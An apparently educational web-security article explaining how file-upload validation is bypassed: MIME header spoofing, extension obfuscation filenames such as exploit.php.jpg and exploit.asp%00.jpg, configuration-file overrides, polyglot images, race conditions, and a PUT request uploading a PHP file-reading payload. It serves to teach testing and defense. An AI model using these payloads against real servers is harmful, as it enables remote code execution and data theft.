Exploiting Flawed Validation of file uploads
Flawed file type validation
Let us consider a form containing fields for uploading an image, providing a description of it, and entering the username. Submitting such a form might result in a request that looks something like this:
POST /images HTTP/1.1
Host: target.com
Content-Length: 12345
Content-Type: multipart/form-data; boundary=---------------------------012345678901234567890123456---------------------------012345678901234567890123456
Content-Disposition: form-data; name="image"; filename="example.jpg"
Content-Type: image/jpeg
[...binary content of example.jpg...]
---------------------------012345678901234567890123456
Content-Disposition: form-data; name="description"
This is an interesting description of my image.
---------------------------012345678901234567890123456
Content-Disposition: form-data; name="username"
chanukya
---------------------------012345678901234567890123456--
As you can see, the message body is split into separate parts for each of the form’s inputs. Each part contains a Content-Disposition
header, which provides some basic information about the input field it relates to. These individual parts may also contain their own Content-Type
header, which tells the server the MIME type of the data that was submitted using this input.
One way that websites may attempt to validate file uploads is to check that this input-specific Content-Type
header matches an expected MIME type. If the server is only expecting image files, for example, it may only allow types like image/jpeg
and image/png
. Problems can arise when the value of this header is implicitly trusted by the server. If no further validation is performed to check whether the contents of the file actually match the supposed MIME type, this defense can be easily bypassed with intercepting the traffic and modifying the header.
When submitting HTML forms, the browser typically sends the provided data in a POST
request with the content type application/x-www-form-url-encoded
. This is fine for sending simple text like your name, address, and so on, but is not suitable for sending large amounts of binary data, such as an entire image file or a PDF document. In this case, the content type multipart/form-data
is the preferred approach.
Preventing file execution in user-accessible directories
servers generally only run scripts whose MIME type they have been explicitly configured to execute. Otherwise, they may just return some kind of error message or, in some cases, serve the contents of the file as plain text instead.
This behavior is potentially interesting in its own right, as it may provide a way to leak source code, but it nullifies any attempt to create a web shell.
This kind of configuration often differs between directories. A directory to which user-supplied files are uploaded will likely have much stricter controls than other locations on the filesystem that are assumed to be out of reach for end users. If you can find a way to upload a script to a different directory that’s not supposed to contain user-supplied files, the server may execute your script after all.
Tip: Web servers often use the
filename
field inmultipart/form-data
requests to determine the name and location where the file should be saved.
We should also note that even though we may send all of our requests to the same domain name, this often points to a reverse proxy server of some kind, such as a load balancer. Our requests will often be handled by additional servers behind the scenes, which may also be configured differently.
While it’s clearly better to prevent dangerous file types being uploaded in the first place, the second line of defense is to stop the server from executing any scripts that do slip through the net.
Insufficient black listing of dangerous file types
One of the more obvious ways of preventing users from uploading malicious scripts is to blacklist potentially dangerous file extensions like .php
. The practice of blacklisting is inherently flawed as it's difficult to explicitly block every possible file extension that could be used to execute code. Such blacklists can sometimes be bypassed by using lesser known, alternative file extensions that may still be executable, such as .php5
, .shtml
, and so on.
Overriding the server configuration
Servers typically won’t execute files unless they have been configured to do so. For example, before an Apache server will execute PHP files requested by a client, developers might have to add the following directives to their /etc/apache2/apache2.conf
file:
LoadModule php_module /usr/lib/apache2/modules/libphp.so
AddType application/x-httpd-php .php
Many servers also allow developers to create special configuration files within individual directories in order to override or add to one or more of the global settings. Apache servers, for example, will load a directory-specific configuration from a file called .htaccess
if one is present.
Similarly, developers can make directory-specific configuration on IIS servers using a web.config
file. This might include directives such as the following, which in this case allows JSON files to be served to users:
<staticContent>
<mimeMap fileExtension=".json" mimeType="application/json" />
</staticContent>
Web servers use these kinds of configuration files when present, but we are not normally allowed to access them using HTTP requests. However, you may occasionally find servers that fail to stop you from uploading our own malicious configuration file. In this case, even if the file extension we need is blacklisted, we may be able to trick the server into mapping an arbitrary, custom file extension to an executable MIME type.
Obfuscating file extensions
Even the most exhaustive blacklists can potentially be bypassed using classic obfuscation techniques. Let’s say the validation code is case sensitive and fails to recognize that exploit.pHp
is in fact a .php
file. If the code that subsequently maps the file extension to a MIME type is not case sensitive, this discrepancy allows us to sneak malicious PHP files past validation that may eventually be executed by the server.
We can also achieve similar results using the following techniques:
- Provide multiple extensions. Depending on the algorithm used to parse the filename, the following file may be interpreted as either a PHP file or JPG image:
exploit.php.jpg
- Add trailing characters. Some components will strip or ignore trailing whitespaces, dots, and suchlike:
exploit.php.
- Try using the URL encoding (or double URL encoding) for dots, forward slashes, and backward slashes. If the value isn’t decoded when validating the file extension, but is later decoded server-side, this can also allow us to upload malicious files that would otherwise be blocked:
exploit%2Ephp
- Add semicolons or URL-encoded null byte characters before the file extension. If validation is written in a high-level language like PHP or Java, but the server processes the file using lower-level functions in C/C++, for example, this can cause discrepancies in what is treated as the end of the filename:
exploit.asp;.jpg
orexploit.asp%00.jpg
- Try using multibyte unicode characters, which may be converted to null bytes and dots after unicode conversion or normalization. Sequences like
xC0 x2E
,xC4 xAE
orxC0 xAE
may be translated tox2E
if the filename parsed as a UTF-8 string, but then converted to ASCII characters before being used in a path.
Other defenses involve stripping or replacing dangerous extensions to prevent the file from being executed. If this transformation isn’t applied recursively, we can position the prohibited string in such a way that removing it still leaves behind a valid file extension. For example, consider what happens if you strip .php
from the following filename: exploit.p.phphp
Flawed validation of the file’s contents
Instead of implicitly trusting the Content-Type
specified in a request, more secure servers try to verify that the contents of the file actually match what is expected.
In the case of an image upload function, the server might try to verify certain intrinsic properties of an image, such as its dimensions. If you try uploading a PHP script, for example, it won’t have any dimensions at all. Therefore, the server can deduce that it can’t possibly be an image, and reject the upload accordingly.
Similarly, certain file types may always contain a specific sequence of bytes in their header or footer. These can be used like a fingerprint or signature to determine whether the contents match the expected type. This is called Magic number. For example, JPEG files always begin with the bytes FF D8 FF
.
This is a much more robust way of validating the file type, but even this isn’t foolproof. Using special tools, such as ExifTool, it can be trivial to create a polyglot JPEG file containing malicious code within its metadata.
Exploiting file upload race conditions
Modern frameworks are more battle-hardened against these kinds of attacks. They generally don’t upload files directly to their intended destination on the filesystem. Instead, they take precautions like uploading to a temporary, sandboxed directory first and randomizing the name to avoid overwriting existing files. They then perform validation on this temporary file and only transfer it to its destination once it is deemed safe to do so.
That said, developers sometimes implement their own processing of file uploads independently of any framework. Not only is this fairly complex to do well, it can also introduce dangerous race conditions that enable an attacker to completely bypass even the most robust validation.
For example, some websites upload the file directly to the main filesystem and then remove it again if it doesn’t pass validation. This kind of behavior is typical in websites that rely on anti-virus software and the like to check for malware. This may only take a few milliseconds, but for the short time that the file exists on the server, the attacker can potentially still execute it.
These vulnerabilities are often extremely subtle, making them difficult to detect during blackbox testing unless we can find a way to leak the relevant source code.
Race conditions in URL-based file uploads
Similar race conditions can occur in functions that allow us to upload a file by providing a URL. In this case, the server has to fetch the file over the internet and create a local copy before it can perform any validation.
As the file is loaded using HTTP, developers are unable to use their framework’s built-in mechanisms for securely validating files. Instead, they may manually create their own processes for temporarily storing and validating the file, which may not be quite as secure.
For example, if the file is loaded into a temporary directory with a randomized name, in theory, it should be impossible for an attacker to exploit any race conditions. If they don’t know the name of the directory, they will be unable to request the file in order to trigger its execution. On the other hand, if the randomized directory name is generated using pseudo-random functions like PHP’s uniqid()
, it can potentially be brute-forced.
To make attacks like this easier, we can try to extend the amount of time taken to process the file, thereby lengthening the window for brute-forcing the directory name. One way of doing this is by uploading a larger file. If it is processed in chunks, we can potentially take advantage of this by creating a malicious file with the payload at the start, followed by a large number of arbitrary padding bytes.
Uploading files using PUT
It’s worth noting that some web servers may be configured to support PUT
requests. If appropriate defenses aren't in place, this can provide an alternative means of uploading malicious files, even when an upload function isn't available via the web interface.
PUT /images/exploit.php HTTP/1.1
Host: target.com
Content-Type: application/x-httpd-php
Content-Length: 49
<?php echo file_get_contents('/path/to/file'); ?>
Tip : You can try sending
OPTIONS
requests to different endpoints to test for any that advertise support for thePUT
method.
Exploiting file upload vulnerabilities without remote code execution
In the examples we’ve looked at so far, we’ve been able to upload server-side scripts for remote code execution. This is the most serious consequence of an insecure file upload function, but these vulnerabilities can still be exploited in other ways.
Uploading malicious client-side scripts
Although we might not be able to execute scripts on the server, we may still be able to upload scripts for client-side attacks. For example, if we can upload HTML files or SVG images, you can potentially use <script>
tags to create stored XSS payloads.
If the uploaded file then appears on a page that is visited by other users, their browser will execute the script when it tries to render the page. Note that due to same-origin policy restrictions, these kinds of attacks will only work if the uploaded file is served from the same origin to which we upload it.
Exploiting vulnerabilities in the parsing of uploaded files
If the uploaded file seems to be both stored and served securely, the last resort is to try exploiting vulnerabilities specific to the parsing or processing of different file formats. For example, we know that the server parses XML-based files, such as Microsoft Office .doc
or .xls
files, this may be a potential vector for XXE injection attacks.